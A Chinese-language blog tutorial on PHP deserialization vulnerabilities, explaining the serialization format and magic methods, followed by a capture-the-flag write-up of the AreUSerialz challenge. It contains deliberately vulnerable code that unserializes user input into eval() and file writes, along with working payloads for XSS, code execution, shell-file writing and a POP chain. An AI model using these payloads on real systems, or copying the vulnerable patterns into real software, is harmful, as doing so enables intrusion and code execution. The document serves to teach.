PHP反序列化漏洞

2020-05-12 102次浏览 0条评论  前往评论

前言


学习一下php反序列化漏洞,文章参考:传送门

序列化和反序列化是什么?

通常把字符串/数组/对象进行序列化,然后再反序列化被序列化的字符串/数组/对象

首先举一个例子

分析一下序列化之后的含义

字符串:

$a="test"; 序列化后的结果是s:4:"test";

其中s代表string类型,4代表字符串长度,"test"代表字符串内容

数组:

$arr = array('j' => 'jack' ,'r' => 'rose');序列化后的结果是a:2:{s:1:"j";s:4:"jack";s:1:"r";s:4:"rose";}

其中a代表array数组类型,2代表数组长度2个,s代表string,4代表字符串长度,jack是字符串内容,依此类推。

对象:

class ABC{public $test="yeah"}创建对象后,序列化后的结果是:O:3:"ABC":1:{s:4:"test";s:3:"yes";}

其中O表示存储的对象(object类型),3代表对象名称有3个字符,即ABC,1表示有一个值,s代表string类型,4代表字符串长度,test代表字符串名称,依此类推。

如果在被序列化的对象中加入一些恶意的代码,如XSS,那么在进行反序列化的时候就相当于解码操作,然后自动执行。

魔法函数


通常来说有一些PHP的魔法函数会导致反序列化漏洞,如:

__construct 构造函数,创建对象时自动调用

__wakeup 使用unserialse()函数时会自动调用

__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)

举一个__wakeup的例子:

<?php
class A{
    var $test = "demo";
    function __wakeup(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

可以看到其中反序列化的a变量是可控的,并且一旦反序列化会执行魔法方法__wakeup并且输出test。

构造序列化poc:

$b = new A();
$b = serialize($b);
echo $b;

输出O:1:"A":1:{s:4:"test";s:4:"demo";}

尝改$test的值是<img src=1 onerror=alert(1)>

可以看到直接导致xss攻击,如果__wakeup中不是echo,而是eval()那么就是任意代码执行,危害就更大了。

修改为eval:

<?php
class A{
    var $test = "demo";
    function __wakeup(){
           eval($this->test);
    }
}
$b = new A();
$c = serialize($b);
echo $c;
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

传入O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}

可以看到已经成功执行php代码

关于文件操作结合反序列化导致的安全问题:

网站根目录存在shell.php

<?php
//为显示效果把这个shell.php包含进来
require "shell.php";
class A{
    var $test = '123';
    function __wakeup(){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$this->test);
        fclose($fp);
    }
}
$a= new A();
print_r(serialize($a));
$class1 = $_GET['test'];
$class1_unser = unserialize($class1);
?>

成功写入

到这里可以得出当使用unserialize()的时候会自动调用魔术方法__wakeup__destruct,那么__construct()构造方法如何利用呢?

举个例子:

<?php
require "shell.php";
class B{
    function __construct($test){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$test);
        fclose($fp);
    }
}
class A{
    var $test = '123';
    function __wakeup(){
        $obj = new B($this->test);
    }
}
$class1 = $_GET['test'];
$class1_unser = unserialize($class1);
?>

构造poc:?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

看到页面输出了php的信息。

首先unserialize()会自动调用__wakeup()__wakeup中创建了对象,从而自动调用了__construct(),会执行__construct()内的操作。

当漏洞/危险代码存在在类的普通方法中,该如何利用呢? 

举个例子:

<?php
    class maniac{
        public $test;
        function __construct(){
            $this->test =new x1();
        }

        function __destruct(){
            $this->test->action();
        }
    }
class x1{
    function action(){
        echo "x1";
    }
}

class x2{
    public $test2;
    function action(){
        eval($this->test2);
    }
}

$class2  = new maniac();
unserialize($_GET['test']);
?>

我们首先发现普通方法x2里面调用了eval()函数,可能造成代码执行。

然后因为使用unserialize()会自动调用__destruct(),所以会先调用action函数。只需要构造如下代码:

<?php
    class maniac{
        public $test;
        function __construct(){
            $this->test =new x2();
        }
    }

    class x2{
    public $test2="phpinfo();";

}
$a = new maniac();
$a = serialize($a);
print_r($a)
?>

输出O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}

结果页面显示phpinfo。

AreUSerialz


这是一道网鼎杯的反序列化的题目。

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

这里要进行文件读取来读取flag。

主要需要绕过is_valid()函数,因为protected类型的属性的序列化字符串包含不可见字符\00,会被is_valid()函数给ban掉。

接用public就可以绕过。

然后还需要绕过析构方法:

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

因为在进行read()之前就会调用__destruct()魔术方法,如果$this->op === "2"就会设置$this->op"1",而"1"是不能调用read()来文件读取的。可以发现:

  • __destruct()方法内使用了严格相等$this->op === "2"
  • process()方法内使用了不严格相等else if ($this->op == "2")

所以这里使用弱类型2 == "2"绕过即可。

然后构造序列化代码:

<?php

class FileHandler {

    public $op=2;
    public $filename="flag.php";
    public $content="kawhi";
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

$a = new FileHandler();
$b = serialize($a);
echo $b."\n";
var_dump(is_valid($b));
?>

输出为:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:5:"kawhi";}
bool(true)

直接提交就能得到flag。



登录后回复

共有0条评论